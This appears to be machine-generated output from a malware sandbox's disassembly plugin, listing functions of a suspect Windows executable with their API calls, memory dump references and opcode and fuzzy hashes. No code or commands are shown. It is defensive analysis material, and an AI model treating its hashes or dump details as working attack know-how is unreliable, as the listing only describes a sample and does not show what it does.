GetProcAddress.KERNEL32 ref: 00007FF6BB15BB4E

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction ID: f0b39d0b027edb7aeb7c8d8dca9290cf031a50539f6ad9959bed4561f61fbb7c
Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction Fuzzy Hash: 5941E421B09A4681FE158F1EAA146BA6395BF4CBD8F498535DF5DCB3A8EF7CE4008304

Function 00007FF6BB1CFF50 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6BB1CFFE7
EnableWindow.USER32 ref: 00007FF6BB1D0012
ShowWindow.USER32 ref: 00007FF6BB1D007C
ShowWindow.USER32 ref: 00007FF6BB1D0098
EnableWindow.USER32 ref: 00007FF6BB1D00C6

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$Show$Enable
String ID:
API String ID: 2939132127-0
Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction ID: 0975d71fd6427bf13ed9b46765fc2c722a97562ef6a4027b75b7e80806c9aab6
Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction Fuzzy Hash: 0851633294978A89EB658B1DE4686783764FB8DB88F284536CB4DC73B0CE3EE441D710

Function 00007FF6BB18D924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,00007FF6BB18D8F3), ref: 00007FF6BB18D952
PostMessageW.USER32 ref: 00007FF6BB18D9F2
Sleep.KERNEL32(?,?,?,?,?,00007FF6BB18D8F3), ref: 00007FF6BB18D9FA
PostMessageW.USER32 ref: 00007FF6BB18DA0D
Sleep.KERNEL32(?,?,?,?,?,00007FF6BB18D8F3), ref: 00007FF6BB18DA15

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: eede7ce4c4e84a454966b5ad3a71d2882c358ebf9f1b03269eaebc827b2ba57d
Instruction ID: 01b3267c4e0477d66a384d8ec64441a844bd1a489c5357f02eaae571a9e5417b
Opcode Fuzzy Hash: eede7ce4c4e84a454966b5ad3a71d2882c358ebf9f1b03269eaebc827b2ba57d
Instruction Fuzzy Hash: 78319036A0875586E710CF6DE84826973A1F78CBA8F510235EF9AC77A9CE3CE8458750

Function 00007FF6BB1A3824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00007FF6BB1A3889
TranslateAcceleratorW.USER32 ref: 00007FF6BB1A38E9
TranslateMessage.USER32 ref: 00007FF6BB1A3916
DispatchMessageW.USER32 ref: 00007FF6BB1A3921
PeekMessageW.USER32 ref: 00007FF6BB1A3938

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction ID: df4cee9db92bf85b411819e2845f8db2f50dbc5c3ed77cc86d86c073dcdb266c
Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction Fuzzy Hash: 58414A21D1C69286FBA58B2CE58577A6690FF48B4CF180135D76DC61B9CE3DF4898B01

Function 00007FF6BB191B34 Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF6BB191B6A
SendMessageW.USER32 ref: 00007FF6BB191B93
SendMessageW.USER32 ref: 00007FF6BB191BD8
CharUpperBuffW.USER32 ref: 00007FF6BB191BFC
wcsstr.LIBVCRUNTIME ref: 00007FF6BB191C09

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
String ID:
API String ID: 2655805287-0
Opcode ID: 9bd73521170ee007c9171dd1e9261bc07268575bcf825c08a7990efda1f67af7
Instruction ID: 7d3f623596ef1c2e5d5d87f9210ee460ec2d5a7437c2bb4ce65fd16350000fb8
Opcode Fuzzy Hash: 9bd73521170ee007c9171dd1e9261bc07268575bcf825c08a7990efda1f67af7
Instruction Fuzzy Hash: A121E522B0968246EB148B1AA9152756690BF8DFE8F444530EF5EC77A1DE3CE4518700

Function 00007FF6BB1B2E64 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF6BB1B2E96
GetForegroundWindow.USER32 ref: 00007FF6BB1B2EAF
GetDC.USER32 ref: 00007FF6BB1B2EF2
GetPixel.GDI32 ref: 00007FF6BB1B2F03
ReleaseDC.USER32 ref: 00007FF6BB1B2F3B

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction ID: 9b07bfc7e1b4a8dda801f46e37a1346f8dad69b268a3e899622ded9cdc81a4f2
Opcode Fuzzy Hash: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction Fuzzy Hash: 51218E22B08A4186EB14DF2BE8840ADA7A1FB8DF98B184035DF0DC7B65DE38D8468740

Function 00007FF6BB122370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32 ref: 00007FF6BB1223FF
SelectObject.GDI32 ref: 00007FF6BB122412
BeginPath.GDI32 ref: 00007FF6BB12242B
SelectObject.GDI32 ref: 00007FF6BB122452

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction ID: 3918cd75bd0ac3f8f98ae42a84c62b52635ea3e741d60e2347f82bf2c2ff3c15
Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction Fuzzy Hash: 49314B32918B528AE7448F0AE95133A7BA1FB8DB98F580135DB4987774CF7DE446CB40

Function 00007FF6BB151F44 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB151F68
CreateThread.KERNEL32 ref: 00007FF6BB151FA9
GetLastError.KERNEL32 ref: 00007FF6BB151FB7
CloseHandle.KERNEL32 ref: 00007FF6BB151FD4
FreeLibrary.KERNEL32 ref: 00007FF6BB151FE3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction ID: 5fd59d451b69d301ad8ed6818b01ac314b907c9e9f14d335f167c8d5ab1245c3
Opcode Fuzzy Hash: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction Fuzzy Hash: 4E216225A0D78286EE56DF69E4601796390BF8CB88F484531DF4D87775DF3CE814C614

Function 00007FF6BB15F9D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6BB15F9FB
_set_statfp.LIBCMT ref: 00007FF6BB15FA16
_set_statfp.LIBCMT ref: 00007FF6BB15FA32
_set_statfp.LIBCMT ref: 00007FF6BB15FA6E

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction ID: 91276a3315b1a022c86eb8e945e5ae58477f9fd0f5f8e4d1ffc854a947779b9a
Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction Fuzzy Hash: C711A926E1D60349FA54253DE44637513417F5D3B8F154635EF7EC66FA8F5CA840810E

Function 00007FF6BB145244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF6BB14525B
__scrt_initialize_onexit_tables.LIBCMT ref: 00007FF6BB145274
_RTC_Initialize.LIBCMT ref: 00007FF6BB14527D

Part of subcall function 00007FF6BB144F0C: _onexit.LIBCMT ref: 00007FF6BB144F10

Part of subcall function 00007FF6BB15A09C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB15A0C6

__scrt_fastfail.LIBCMT ref: 00007FF6BB1452F5
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FF6BB145300

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
String ID:
API String ID: 2117695475-0
Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction ID: d12637189189c5ad60eff386669ee6748f76c08366d90ac1fb53dad75a8ba08a
Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction Fuzzy Hash: 2C11D001E1D54745FA1477FC94662BC1281BF5C30DFA4043AEB1DEA2F3EE1CB4458A2A

Function 00007FF6BB18CB58 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF6BB18CB8A
GetLastError.KERNEL32 ref: 00007FF6BB18CB96
GetProcessHeap.KERNEL32 ref: 00007FF6BB18CBA3
HeapAlloc.KERNEL32 ref: 00007FF6BB18CBB2
GetTokenInformation.ADVAPI32 ref: 00007FF6BB18CBD1

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
Instruction ID: f2144cce6a817555987026f1bac8ee6bb304a7cbc089b0feb35e755c29fb91f7
Opcode Fuzzy Hash: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
Instruction Fuzzy Hash: 17113336A44B82C6E7108F5AF840569B7B4FB88B88B198436DF8983B64DF78E8558740

Function 00007FF6BB18CAB4 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF6BB18CAE6
GetLastError.KERNEL32 ref: 00007FF6BB18CAF2
GetProcessHeap.KERNEL32 ref: 00007FF6BB18CAFF
HeapAlloc.KERNEL32 ref: 00007FF6BB18CB0E
GetTokenInformation.ADVAPI32 ref: 00007FF6BB18CB2D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
Instruction ID: 4855f2ffb2ddb865e1def6e6ebf454c57425abf4e6d9f9fd9692f933cec17bfe
Opcode Fuzzy Hash: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
Instruction Fuzzy Hash: 75113336604B82C6E7108F1AF840569B7B4FB88BD8B598536DF8883B64EF78E8558740

Function 00007FF6BB18B748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00007FF6BB18B771
ProgIDFromCLSID.OLE32 ref: 00007FF6BB18B790
lstrcmpiW.KERNEL32 ref: 00007FF6BB18B7A2
CoTaskMemFree.OLE32 ref: 00007FF6BB18B7B4
CLSIDFromString.OLE32 ref: 00007FF6BB18B7C2

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction ID: 55f8ee2b8c235a783a7f93513b7889651b9ea4be9f69367f069b54748f489a79
Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction Fuzzy Hash: AE111E26A18B4286E7548B2AF85032A63A4FF89FC9F188535DF4DC77A8DF3DD4458700

Function 00007FF6BB192ED0 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF6BB192EEC
GetWindowTextW.USER32 ref: 00007FF6BB192F07
MessageBeep.USER32 ref: 00007FF6BB192F1C
KillTimer.USER32 ref: 00007FF6BB192F3F
EndDialog.USER32 ref: 00007FF6BB192F5F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction ID: a96036fb48d37874b4da81ed3b7e598ccb4c73d12c614a5e9028d29717378e57
Opcode Fuzzy Hash: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction Fuzzy Hash: BE116562A0898681EB659F28F4543792360FF8CB4CF444031DB8D862B9DF7CD58AC750

Function 00007FF6BB19D7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF6BB19D811
QueryPerformanceFrequency.KERNEL32 ref: 00007FF6BB19D820
Sleep.KERNEL32 ref: 00007FF6BB19D828
QueryPerformanceCounter.KERNEL32 ref: 00007FF6BB19D833
Sleep.KERNEL32 ref: 00007FF6BB19D86E

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction ID: 1d2507472bd276b1a00991544522cea18d2e300a11bab4bb58688e86aec53898
Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction Fuzzy Hash: 76018421A18A4282EB058B3DF49513D9361BF9D789B644235E34FD2972DF2DE496C600

Function 00007FF6BB1A0008 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF6BB1829AD,?,?,?,00007FF6BB132AB2), ref: 00007FF6BB1A003C
TerminateThread.KERNEL32(?,?,?,00007FF6BB1829AD,?,?,?,00007FF6BB132AB2), ref: 00007FF6BB1A0047
WaitForSingleObject.KERNEL32(?,?,?,00007FF6BB1829AD,?,?,?,00007FF6BB132AB2), ref: 00007FF6BB1A0055
~SyncLockT.VCCORLIB ref: 00007FF6BB1A005E

Part of subcall function 00007FF6BB19F7B8: CloseHandle.KERNEL32(?,?,?,00007FF6BB1A0063,?,?,?,00007FF6BB1829AD,?,?,?,00007FF6BB132AB2), ref: 00007FF6BB19F7C9

LeaveCriticalSection.KERNEL32(?,?,?,00007FF6BB1829AD,?,?,?,00007FF6BB132AB2), ref: 00007FF6BB1A006A

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
String ID:
API String ID: 3142591903-0
Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction ID: 82d1d66c8fbb844a41a974fef2db764a4e795efdc88119f8f4738ca454236233
Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction Fuzzy Hash: 2401E23AA18A4196E7509F59F48422A7364FB88B98F144035DB8E83BA5DF3CE896C740

Function 00007FF6BB151DA0 Relevance: 7.5, APIs: 5, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB15B80C: GetLastError.KERNEL32 ref: 00007FF6BB15B81B
Part of subcall function 00007FF6BB15B80C: SetLastError.KERNEL32 ref: 00007FF6BB15B885

ExitThread.KERNEL32 ref: 00007FF6BB151DB8
ExitThread.KERNEL32 ref: 00007FF6BB151DCD

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
